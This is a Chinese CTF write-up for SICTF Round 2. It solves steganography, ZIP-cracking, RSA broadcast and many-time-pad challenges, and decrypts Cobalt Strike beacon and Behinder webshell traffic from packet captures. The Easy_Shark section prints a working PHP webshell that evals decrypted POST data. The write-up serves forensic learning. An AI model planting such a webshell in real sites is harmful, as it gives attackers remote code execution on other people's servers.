SICTF 2nd wp

警告
本文最后更新于 2023-09-10,文中内容可能已过时。
RANK

TEAM:🤔

RANK:6

Solved:30

Score:7939

misc

[签到]Welcome

关注微信公众号并发送"SICTF2023"就可以获得flag辣!

SICTF{Welcome_to_SICTF2023_#Round2}

Pixel_art

png lsb隐写了个 png

image-20230909235033779

分出来

2

发现每个像素的rgb值只有 46 33 63 三种

发现是.!?的ASCII值

而且大部分的brainfuck的生成网站,在最前面都是………………

写脚本转换

1
2
from PIL import Image
print("".join(["".join((lambda a:(map(lambda x:(chr(x)),a)))(Image.open('2.png').getpixel((y,x)))) for x,y in [i for i in __import__('itertools').product(range(Image.open('2.png').size[0]),range(Image.open('2.png').size[0]))]]))
1
..................!?!!.?..................?.?!.?....!.?.......!?!!.?!!!!!!?.?!.?!!!.!!!!!!!!!!!!!.?.........!?!!.?........?.?!.?..!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!!!!!.?...............!?!!.?..............?.?!.?........!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!...!.......!.!!!!!!!.?.............!?!!.?............?.?!.?........................!.....!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!!!.....!.!!!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..............!.!!!!!.?...............!?!!.?!!!!!!!!!!!!!!?.?!.?!!!.................!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!...............!.?.............!?!!.?............?.?!.?......................!.....!.!.?...............!?!!.?!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?......!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!.!!!!!!!!!!!!!!!!!!!.............!.!!!!!!!!!!!!!!!!!!!...........!.!.............!.!!!!!!!!!!!!!!!!!...........!.?...............!?!!.?..............?.?!.?!.!!!!!.!!!!!.......!.!!!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!.!.?.................!?!!.?................?.?!.?............!.?.
1
SICTF{0141ac35-ec19-4cee-a906-22805fdbed77}

一起上号不

你为什么还不上号啊?宝

其实一看名字就能猜到CS流量

把最后一流的key.zip提取出来

image-20230910150936117

可以知道这是java的序列化数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package org.example;
import java.io.*;


public class SerializationExample {

    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException {

        FileInputStream fis = new FileInputStream("key");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object obj = (Object) ois.readObject();
        ois.close();
        System.out.println(obj.getClass());
        System.out.println(obj.toString());
    }

}
1
2
class sleep.runtime.Scalar
java.security.KeyPair@604ed9f0

还原看一下类名和方法

搜索可以知道是cs的Beacon key

用脚本解密得到Private Key

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class get_RSA
{
    public static void main(String[] args)
    {
        try {
            File file = new File("key");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {
            System.out.println("Could not read asymmetric keys");
        }
    }
}
1
Private Key: MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIzAss/1Vcd49UN5XT+pVELCnX1rTo4LhSzcP7sPOrIOQg0onSpKO1tzOVX+2DqtZsSFoFrAmrEV+gZCbFfhYR9vs5DGLUg9aa0i5GqhPz/s4v5wcmgUgfnvjh4oK7yPQ5BMcqESCjEim9MXs70by1U7ZN+wOYZEorInV9gPkCJdAgMBAAECgYAJbRpMjQyamEIsq6MQEWIAOpJbhOU05BaeI33tJB71L7lCslacL258OGI9nRyUCWrZfG15xm5Vr7gX1Tj2RbTAUZmGigY1X2rCyz00DFjj5iIQVWsl8eSI1EmjFmQ+rYnCezQcrt4V3c7BZtW9RjFWvHh09PF808Yl4/+++vrMoQJBAKhCa/adRGEFqiVcSZG2FdlUG4bPMfwRkYMERZG5D6fjVHOVNEyL3MK+EtafnYIDD1IS+97K0cbg922RKXNdv+kCQQDWJk0kNe8ePBpwJU4slig1Y+4VWuwTRz6r+MNpv+WrVMzo/LHzAKYn87pyAdxLaZyKAFKs86WpJ2n93ZslC9pVAkA0KMMHJCF6YiMoib9UqDmFsYkG9VvtZBTTpJNcZR3xUYtweSRJRmIdDIcSeVB+aSxqqO/jVMRK/po1IPbUiI9hAkEAi93wPFpNlv3CdsSmzlA0asqd0azUy7KYqFGNsB/5rXFxdCq3PvOJkkaJ27SDYW3VI/0aAoQQCu8HNxvqHMQlEQJBAIFIkfpeSfksLu8NgiFvZsTV8EWF9PfF2VLyqeSGtmySujqb0HbxGnM9SDc0k48wOvIn5YGJPyY2ddsyNI6XbCU=

流量中的Cookie是对受控主机元数据的加密后的密文

由于M2Crypto装了半天都装不上,用Crypto库改了一个

将Private Key和流量中的Cookie填入得到flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import hashlib,base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

cookie = "U8jm3+oqzYLuUiRd9F3s7xVz7fGnHQYIKF9ch6GRseWfcBSSk+aGhWP3ZUyHIkwRo1/oDCcKV7LYAp022rCm9bC7niOgMlsvgLRolMKIz+Eq5hCyQ0QVScH8jDYsJsCyVw1iaTf5a7gHixIDrSbTp/GiPQIwcTNZBXIJrll540s="
privateKey = "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIzAss/1Vcd49UN5XT+pVELCnX1rTo4LhSzcP7sPOrIOQg0onSpKO1tzOVX+2DqtZsSFoFrAmrEV+gZCbFfhYR9vs5DGLUg9aa0i5GqhPz/s4v5wcmgUgfnvjh4oK7yPQ5BMcqESCjEim9MXs70by1U7ZN+wOYZEorInV9gPkCJdAgMBAAECgYAJbRpMjQyamEIsq6MQEWIAOpJbhOU05BaeI33tJB71L7lCslacL258OGI9nRyUCWrZfG15xm5Vr7gX1Tj2RbTAUZmGigY1X2rCyz00DFjj5iIQVWsl8eSI1EmjFmQ+rYnCezQcrt4V3c7BZtW9RjFWvHh09PF808Yl4/+++vrMoQJBAKhCa/adRGEFqiVcSZG2FdlUG4bPMfwRkYMERZG5D6fjVHOVNEyL3MK+EtafnYIDD1IS+97K0cbg922RKXNdv+kCQQDWJk0kNe8ePBpwJU4slig1Y+4VWuwTRz6r+MNpv+WrVMzo/LHzAKYn87pyAdxLaZyKAFKs86WpJ2n93ZslC9pVAkA0KMMHJCF6YiMoib9UqDmFsYkG9VvtZBTTpJNcZR3xUYtweSRJRmIdDIcSeVB+aSxqqO/jVMRK/po1IPbUiI9hAkEAi93wPFpNlv3CdsSmzlA0asqd0azUy7KYqFGNsB/5rXFxdCq3PvOJkkaJ27SDYW3VI/0aAoQQCu8HNxvqHMQlEQJBAIFIkfpeSfksLu8NgiFvZsTV8EWF9PfF2VLyqeSGtmySujqb0HbxGnM9SDc0k48wOvIn5YGJPyY2ddsyNI6XbCU="

p_key = "-----BEGIN RSA PRIVATE KEY-----\n" + "".join([privateKey[i:i + 64]+"\n" for i in range(0, len(privateKey), 64)]) + "-----END RSA PRIVATE KEY-----\n"

private_key = RSA.import_key(p_key.encode())
cipher = PKCS1_v1_5.new(private_key)
ciphertext = cipher.decrypt(base64.b64decode(cookie), 0)

digest = hashlib.sha256(ciphertext[8:24]).digest()
aes_key = digest[0:16]
hmac_key = digest[16:]
print("AES key:{}".format(aes_key.hex()))
print("HMAC key:{}".format(hmac_key.hex()))

得到AES key和HMAC key

1
2
AES key:ef08974c0b06bd5127e04ceffe12597b
HMAC key:bd87fa356596a38ac3e3bb0b6c3496e9

再解CS回传的命令

就是000000开头的请求包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hmac
import binascii
import base64
from Crypto.Cipher import AES


def compare_mac(mac, mac_verif):
	if mac == mac_verif:
		return True
	if len(mac) != len(mac_verif):
		print
		"invalid MAC size"
		return False
	result = 0
	for x, y in zip(mac, mac_verif):
		result |= x ^ y
	return result == 0

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
	if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
		print("message authentication failed")
		return

	cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
	data = cypher.decrypt(encrypted_data)
	return data
import binascii
#key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("ef08974c0b06bd5127e04ceffe12597b")
HMAC_KEY = binascii.unhexlify("bd87fa356596a38ac3e3bb0b6c3496e9")
encrypt_data= binascii.unhexlify(b'000000c093dff6b2f058ba4231e3900276566441f2bb4c76e5c8480874a4d99df083054a5ea1dd4aea5523c751af7d123ee8e9f2253a5ccdcf54427d147c556b15657ee2607e92b35732f26341bc0a26c58bf2bcf2383ad640641c364159387223360cc16ff3dc14ab1f00e6ee4fb53f5e15b767bd379451d0d7b6f4aeae9db0c3f30f3ef167b7db3e6ac241643ed2513e73f9e9148ebe7afaa122ea75e945c8ab8a816179e43180257bd8be752827dd0de26826d5611ee09391ee5545897dae1d3a9698')

encrypt_data_length=int.from_bytes(encrypt_data[0:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:len(encrypt_data)]

data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')

dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)

print(dec)

得到flag

1
b'\x00\x00\x00\x04\x00\x00\x00\x9e\x00\x00\x00\x16\xff\xff\xff\xfeC:\\Users\\admin\\Desktop\\ctf\\*\nD\t0\t09/05/2023 22:16:12\t.\nD\t0\t09/05/2023 22:16:12\t..\nF\t0\t09/05/2023 22:15:11\tSICTF{88a39373-e204-43b6-b321-33ac8972fde9}\n]\xf6\x85L4\xdb\xf5]\x96\x8d'

参考项目与文章(不分先后):

https://github.com/WBGlIl/CS_Decrypt

https://wkr.moe/ctf/610.html#Misc

https://www.jianshu.com/p/dc3683e2aa2c

https://blog.csdn.net/weixin_46081055/article/details/123413246

baby_zip

image-20230910001611232

一眼丁真

bkcrack明文攻击

image-20230910001653504

改密码后解压

flag在png文件尾

image-20230910001828562

1
SICTF{3a4998b8-345e-4943-a689-d01e8b08defb}

还不上号

我不理解这题比上一题难在哪

为什么比上一题少三分之二的解

就多套了个冰蝎3的AES马

flag1所有流量都被冰蝎加密了

flag2.pcapng的最后一流提取出一个key.zip

img

爆破出密码we1l

里面是0宽隐写的密钥,选image-20230910195415683

得到 cd52f1488563bf0e

我自己改的减少手工步骤的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from base64 import b64decode
from Crypto.Cipher import AES
import re

def aes_def(key,input_text):
    if b"==" not in input_text:
        input_text = input_text + b"=="
    input_text = b64decode(input_text)
    mode = AES.MODE_CBC
    iv = b'\0' * 16
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(input_text).decode('utf-8', 'ignore')
    return plain_text


key=b"cd52f1488563bf0e"
message = b'nCAiSfP9hoQwAkxddlCxnedDijOW/ISQ+M32T5f64bIkb5YbKc7tnkduvJUlQZWDR/UMpnabmx/huiF4oFVY5tKFVckzgi4ccMrTR205IDw='
decode_message =  aes_def(key,message)
try:
    message = b64decode(decode_message[27:len(message)-4])

    print("请求包内容为:",re.findall(r"}\$cmd=\"(.*)\";",message.decode())[0])
except:
    message = re.findall(r"\"msg\":\"(.*)\"",decode_message)
    print("响应包内容为:",b64decode(message[0]).decode())

TCP第五流得到前半段flag

1
响应包内容为: SICTF{79e1755e-08a8-4d

继续往后读,第6流

请求包内容为: base64 key

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
响应包内容为: rO0ABXNyABRzbGVlcC5ydW50aW1lLlNjYWxhcryvNaxLcOBGAwADTAAFYXJyYXl0ABtMc2xlZXAv
cnVudGltZS9TY2FsYXJBcnJheTtMAARoYXNodAAaTHNsZWVwL3J1bnRpbWUvU2NhbGFySGFzaDtM
AAV2YWx1ZXQAGkxzbGVlcC9ydW50aW1lL1NjYWxhclR5cGU7eHBzcgAec2xlZXAuZW5naW5lLnR5
cGVzLk9iamVjdFZhbHVluXko22Ba54kCAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hw
c3IAFWphdmEuc2VjdXJpdHkuS2V5UGFpcpcDDDrSzRKTAgACTAAKcHJpdmF0ZUtleXQAGkxqYXZh
L3NlY3VyaXR5L1ByaXZhdGVLZXk7TAAJcHVibGljS2V5dAAZTGphdmEvc2VjdXJpdHkvUHVibGlj
S2V5O3hwc3IAFGphdmEuc2VjdXJpdHkuS2V5UmVwvflPs4iapUMCAARMAAlhbGdvcml0aG10ABJM
amF2YS9sYW5nL1N0cmluZztbAAdlbmNvZGVkdAACW0JMAAZmb3JtYXRxAH4ADUwABHR5cGV0ABtM
amF2YS9zZWN1cml0eS9LZXlSZXAkVHlwZTt4cHQAA1JTQXVyAAJbQqzzF/gGCFTgAgAAeHAAAAJ6
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAL0M6FR0Cb9dW52Nd5NTA1JUNAs1
thS8iXx6QB+UkN/vRJdfsKS8dnOfNuPuPDCtx26B2j8I1FuTJ1VrrfDkzN585sskmXYronFM98Dx
50vHaadOcDcDdBBqi8gC5/D3iKflX6T9pSL/5PVLfN1EIaFsyAS9jpWX2wGNi3C/QPSrAgMBAAEC
gYAdNhXeGtH4wkWqOhY8aurL+VvTUZjRanJ6C+/FkXCzUWbRVwVV5xMMeZEDNigRw4BZ2HGvJL+f
aMT+o3VMkCYBhGbi2/3RPRgigMG7Aa3LWWtYWsdbw8Mw6aqqbTjDUHrQ1kulMf1JvXJL5LBd+pBA
Q8kHaYJRMcmnLsT4NeXOFQJBAMNa2r+phrThTlagMB6bj6vl0IVbDy+TJT2VybCSJ76rPgVUQwtP
yX3z7UAjt27mE8KK+k7Jidi0drCEPv5Wo60CQQD3vQbO64fko1dlatkNn095GO9KoCuanrsLs+vY
Ohc0ltk4EhHHmP5hEE6dSMZNASKaN0wSYJ14xjnA+dJWOES3AkEApzyYF4vhLefTUIVBrHIvxFCw
+fjCP1AQiXA5gVcdfzTJm3ZPDtf2/kRbzpTE68M7F0gykFAoGcQj92i/JKy24QJAdyVbA+M07Ro9
qxHzJ+EJmMUMOMjFj8xtStiSQeDWTj2KZLQUBvmmxcnQ9UYN0PUNzjtwA5qhwXccSZoctcjECwJA
Zc0TZgGq/OwgnIyj/1+Q9D0A2eg3aw1k+6Vzkf/DdkuF6+XTkYTlBGiETIK/vm1rCH4NcOCL7eK5
qpA1grg+gnQABlBLQ1MjOH5yABlqYXZhLnNlY3VyaXR5LktleVJlcCRUeXBlAAAAAAAAAAASAAB4
cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdAAHUFJJVkFURXNxAH4ADHEAfgARdXEAfgAS
AAAAojCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAvQzoVHQJv11bnY13k1MDUlQ0CzW2FLyJ
fHpAH5SQ3+9El1+wpLx2c5824+48MK3HboHaPwjUW5MnVWut8OTM3nzmyySZdiuicUz3wPHnS8dp
p05wNwN0EGqLyALn8PeIp+VfpP2lIv/k9Ut83UQhoWzIBL2OlZfbAY2LcL9A9KsCAwEAAXQABVgu
NTA5fnEAfgAVdAAGUFVCTElDcHB4

解码可知是csBeacon key

剩下的步骤和上面 一起上号不 差不多,不细写了

所用脚本在上面可以找到

用get_RES解得private key

1
Private Key: MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAL0M6FR0Cb9dW52Nd5NTA1JUNAs1thS8iXx6QB+UkN/vRJdfsKS8dnOfNuPuPDCtx26B2j8I1FuTJ1VrrfDkzN585sskmXYronFM98Dx50vHaadOcDcDdBBqi8gC5/D3iKflX6T9pSL/5PVLfN1EIaFsyAS9jpWX2wGNi3C/QPSrAgMBAAECgYAdNhXeGtH4wkWqOhY8aurL+VvTUZjRanJ6C+/FkXCzUWbRVwVV5xMMeZEDNigRw4BZ2HGvJL+faMT+o3VMkCYBhGbi2/3RPRgigMG7Aa3LWWtYWsdbw8Mw6aqqbTjDUHrQ1kulMf1JvXJL5LBd+pBAQ8kHaYJRMcmnLsT4NeXOFQJBAMNa2r+phrThTlagMB6bj6vl0IVbDy+TJT2VybCSJ76rPgVUQwtPyX3z7UAjt27mE8KK+k7Jidi0drCEPv5Wo60CQQD3vQbO64fko1dlatkNn095GO9KoCuanrsLs+vYOhc0ltk4EhHHmP5hEE6dSMZNASKaN0wSYJ14xjnA+dJWOES3AkEApzyYF4vhLefTUIVBrHIvxFCw+fjCP1AQiXA5gVcdfzTJm3ZPDtf2/kRbzpTE68M7F0gykFAoGcQj92i/JKy24QJAdyVbA+M07Ro9qxHzJ+EJmMUMOMjFj8xtStiSQeDWTj2KZLQUBvmmxcnQ9UYN0PUNzjtwA5qhwXccSZoctcjECwJAZc0TZgGq/OwgnIyj/1+Q9D0A2eg3aw1k+6Vzkf/DdkuF6+XTkYTlBGiETIK/vm1rCH4NcOCL7eK5qpA1grg+gg==

再加上cookie解得aeskey和 HMAC

1
2
AES key:2f793b0251bb6c09bda982cb159cd611
HMAC key:e5695e8bf533009cd4a3c950d447b032

再解CS回传的命令

就是000000开头的请求包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hmac
import binascii
import base64
from Crypto.Cipher import AES


def compare_mac(mac, mac_verif):
	if mac == mac_verif:
		return True
	if len(mac) != len(mac_verif):
		print
		"invalid MAC size"
		return False
	result = 0
	for x, y in zip(mac, mac_verif):
		result |= x ^ y
	return result == 0

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
	if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
		print("message authentication failed")
		return

	cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
	data = cypher.decrypt(encrypted_data)
	return data
import binascii
#key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("2f793b0251bb6c09bda982cb159cd611")
HMAC_KEY = binascii.unhexlify("e5695e8bf533009cd4a3c950d447b032")
encrypt_data= binascii.unhexlify(b'000000c0d475b38ca60c7034f1bd9c09e60aaf22b750a24ad06da72a5fecbf1777b03d96be4b4058bd614b482f75f5cfed798ba427770a060744cbe1f5b586aca5bfd8035b581404629d4bbfe888b2e0692ddc5a9d336a0043a7adeffbd492bc8542ae277da563cf08b03c201458ef1f49779700cec20b57b4e7ba9a1c6f86ec542bca2eaeffec8a2d8a1a230e69ca9a448d9b3ad3817046a5d34fdb063f3915c13e5ba3e69866c5d10f41bd4bd09834fd0be2761f5d9266ac3001b146549c27b640eaed')

encrypt_data_length=int.from_bytes(encrypt_data[0:4], byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:len(encrypt_data)]

data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')

dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)

print(dec)
1
b'\x00\x00\x00\x06\x00\x00\x00\x9b\x00\x00\x00\x16\xff\xff\xff\xfeC:\\Users\\admin\\Desktop\\ctf\\*\nD\t0\t09/06/2023 15:54:25\t.\nD\t0\t09/06/2023 15:54:25\t..\nF\t0\t09/06/2023 15:52:58\tGNSC2OJTHA2S2NDDGA2TIMJVGQ4TSOJVPU======\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\xcc\x00'

得到后半段flag

1
3d-9385-4c0541549995}

拼起来为

1
SICTF{79e1755e-08a8-4d3d-9385-4c0541549995}

Easy_Shark

第0流

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
@error_reporting(0);
session_start();
    $key="2295d22e2d70888f";
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

冰蝎3 AES马

key是2295d22e2d70888f

我自己改的减少手工步骤的python解密代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from base64 import b64decode
from Crypto.Cipher import AES
import re

def aes_def(key,input_text):
    if b"==" not in input_text:
        input_text = input_text + b"=="
    input_text = b64decode(input_text)
    mode = AES.MODE_CBC
    iv = b'\0' * 16
    cryptos = AES.new(key, mode, iv)
    plain_text = cryptos.decrypt(input_text).decode('utf-8', 'ignore')
    return plain_text

key=b"2295d22e2d70888f"
message = b'w5lcFkJ5g/LtCqI0NgGN0nr2fGo9r1/AzKUMpzC878IK1gm9qzdfmM4YGRo44amUoDHidZiOWLXcHB49KzZNCehPdof1RJQl1H3E+DDhqkc='
decode_message =  aes_def(key,message)
try:
    message = b64decode(decode_message[27:len(message)-4])

    print("请求包内容为:",re.findall(r"}\$cmd=\"(.*)\";",message.decode())[0])
except:
    message = re.findall(r"\"msg\":\"(.*)\"",decode_message)
    print("响应包内容为:",b64decode(message[0]).decode())

tcp第三流 请求包内容为cat flag.txt

响应包内容为

1
TGLBOMSJNSRAJAZDEZXGHSJNZWHG

第5流的第二个

1
cat GronKey.txt
1
1,50,61,8,9,20,63,41

Gron指的是Gronsfeld

image-20230910002842635

1
SICTF{SHUMUISAGOODBOYYYYYYYYY}

fast_morse

morse2ascii一把梭

image-20230910002955963

1
SICTF{f2a09bf-7f4a-4269-93a5-c8a48360b03c}

QR_QR_QR

用cv2库扫二维码,比zxing和pyzbar扫描快多了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from PIL import Image
import math
import cv2

p = remote('210.44.151.51','10289')
context.log_level = 'debug'

print('cv2.__version__:',cv2.__version__)
def scan_qr():
    qr = p.recvuntil(b'Please Decrypt this QR code:',timeout=500)
    qr = qr.decode().replace('\n','')
    string_01 = qr
    sqrt_len = int(math.sqrt(len(string_01)))
    width, height = sqrt_len,sqrt_len
    im = Image.new('RGB',(height,width))
    for x in range(height):
        for y in range(width):
            value = string_01[width * x + y]
            if value == "1":
                im.putpixel((x,y),(255,255,255))
            else:
                im.putpixel((x,y),(0,0,0))
    im.save('QRcode.png')


    img_path = 'QRcode.png'

    image = cv2.imread(img_path)
    detect_obj = cv2.wechat_qrcode_WeChatQRCode()
    img = cv2.imread('QRcode.png')
    res,points = detect_obj.detectAndDecode(img)
    print(res[0])
    p.sendline(res[0].encode())
    print(p.recvline())

x = 0
while True:
    scan_qr()
    x += 1
    print(x)

image-20230910213659877

超快速

200s内解决1000轮战斗

问卷调查

填问卷

crypto

[签到]古典大杂烩

先解base100

然后cyberchef

image-20230910003405340

Radio

低指数广播攻击,CRT归并

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import libnum
from gmpy2 import invert, gcd, iroot


def op(x):
    res = 1
    for i in x:
        res *= i
    return res


def CRT(m, a):
    assert (len(m) == len(a))
    M = op(m)
    sum = 0
    for m, a in zip(m, a):
        Mi = M // m
        ti = invert(Mi, m)
        sum += a * ti * Mi
    return sum % M
def GCRT(m, a):
    assert (len(m) == len(a))
    curm, cura = m[0], a[0]
    for m, a in zip(m[1:], a[1:]):
        d = gcd(curm, m)
        c = a - cura
        assert (c % d == 0)
        K = c // d * invert(curm // d, m // d)
        cura += curm * K
        curm = curm * m // d
    return cura % curm

e= 17
n=[14628911682936716611458501697007036859460044243525290515096052103585430459755335375005202100114469571371360084664887335211277585652711111523095037589648375630146039444071400098427638768750755153219974194380355807078158427824557754939604018020265955042573660474772006646525311705184431094905718137297923127124517126579859336516891364853724635334011666814712424599592662398013241607855160919361308195967978220182785816761656927836373944699635667244275310680450562446433724968942835275279255823144471582249379035668825437133182865600026935116686574740844588839352146024513673500770611055698030333734066230166111140083923,16756694748293603983474688536179571665757862433174984877308316444468003022266277794769268134195205510197588585566270416339902269736376811449830775290335951504698137924773942880807921752691668522662285163130340474205633998154849689387759453003838730282756734975490180702422176361373516245372635401939755527017589503572550811648345570775428936487145892225736625411540461653083957762795820510109891180906709827194217045059033312564525916136573856999724346161896146703174418039344166251503310869772735585554127509732135494936119159784702673291794381095696332128950979288440758815310482211285712819274848744478643590996499,12023158079717019193506148537498877243668782424904061914991928068483879707115315968983829360560644394409575645736275352836086080024994045582242629571839276759393418303915955798990522990081795218822313146157773272844272865701134880180795342597049645358985187689813369428579614193015028249821853347208001645148169449968882591709833452960545988520048722323580338213590245476892223967673180144525106292453573842357322398199104132677638909964034937501684668442732786408572501007756270725934445316827054687741612177409932320532825182104820899546084015733164816993674100635828218335112393003462442685677115798304835391938681]
c=[786426913645332991929803636719878643130489430090701482974255190570111407517277263761161970232982615374753982050075781017755721714929721429185828101898786972242994012456972241276851428750970754773002966788642795040933520662931514953660571657013642671173456750800960592586345219252277575624120271330470724245201080094330964145796872211627254805407394764183615099525852600855622089361965086460279057625205099471122036599934609091062009161119885692567925924978687256063116915630947838112126347748759078024890458539541208153526564434483654508834147071166870006117573542198238493913144419569943131642262575848786399020602,14269311999815379511888097227418748728398011595172649708273598243317106830139061994801598925448165045032084910971094414749744701731066555194159863759072739031915833091715422787808666326235589236328864675164322734119047182014621724868200908222400504845559290620275973427127376594365043386362821355037781568524903149101953873768462097165128186788759111090267131443645126715520994688945363059795513931799317608292977574376954729552861360597103229877031117089231816770880909815561950691603994439997197261395452797893557057320175747162837857668062550646101714062365530246698404923128445182100334335447738834779014705114350,3204718091370324153305164801961074660508922478706979436653573192321723216725523523538914956544950802616295043619768261075799875855502834749045520466140056621489305006966280527055668378303630674311102581232313032585389907028715671091914904062961720585667564982641321454541632782484415075257140508738041786400512095949826279576159569786734978545737717138115729502475357594151593143140355121154223614868465202149338507796306863351134218879326031985027900678671697876083351974546516576983143592764763925335805465720148057651958521255276602933604064541840892578409973858867533575728482926007556060584654853884046046420855]

m = CRT(n, c)
m1 = iroot(m, e)
print(m1)
print(libnum.n2s(int(m1[0])))

MingTianPao

我出的题() 贴一下出题人WP

这个题目名充分表现了作者由于学CTF导致吃不上饭

明天就打算跑路的心里想法

深刻的表现出了学密码死路一条残酷现实

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import binascii
from Crypto.Util.strxor import strxor
from secret import flag, message
# message is a Classic English Story

for i in range(10):
    tmp = (message[i*30:(i+1)*30].encode())
    print(binascii.hexlify(strxor(tmp,flag)).decode())

# 1f2037202a1e6d06353b61263d050a0538493b3018544e14171d2b1c4218
# 3769373b66142f31297f291126410e042b01162d59103a0c005221075013
# 37242c202e1e3f743c36371130410c1e2b491a31574406014505291a550e
# 7f6922742e1a213270372e01264105193004532b1f554e120c1e2a145618
# 7d69143c23156d18392b35183141310e3b49213613590003453a291a555d
# 36273731341e297424372454230e0c0f2c49127f005f020245112718545d
# 26396320295b2531227161273c04430f360d533118444e0f0b1d31554615
# 323d6335660c24373b3a2554350f0a063e05533712101905165e66145f19
# 733e222766152220703e27063508074b300f53371e5d40444735291a555d
# 37283a7432146d2d3f2a6d541808171f330c530d12544e360c162f1b565d

可以看出是多次异或使用了同一个key

这种加密方式就是多次一密 Many Time Pad(MTP)

但是由于异或的可逆性和自反性

MTP攻击通过联系多段明文,进行推断

进而得到明文,反推出密钥

具体解法可以参考这篇文章

1
https://www.ruanx.net/many-time-pad/

套用脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from Crypto.Util.strxor import strxor
import numpy as np
import binascii


def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False


def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = strxor(c[x], c[index])[pos] ^ ord(' ')

def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
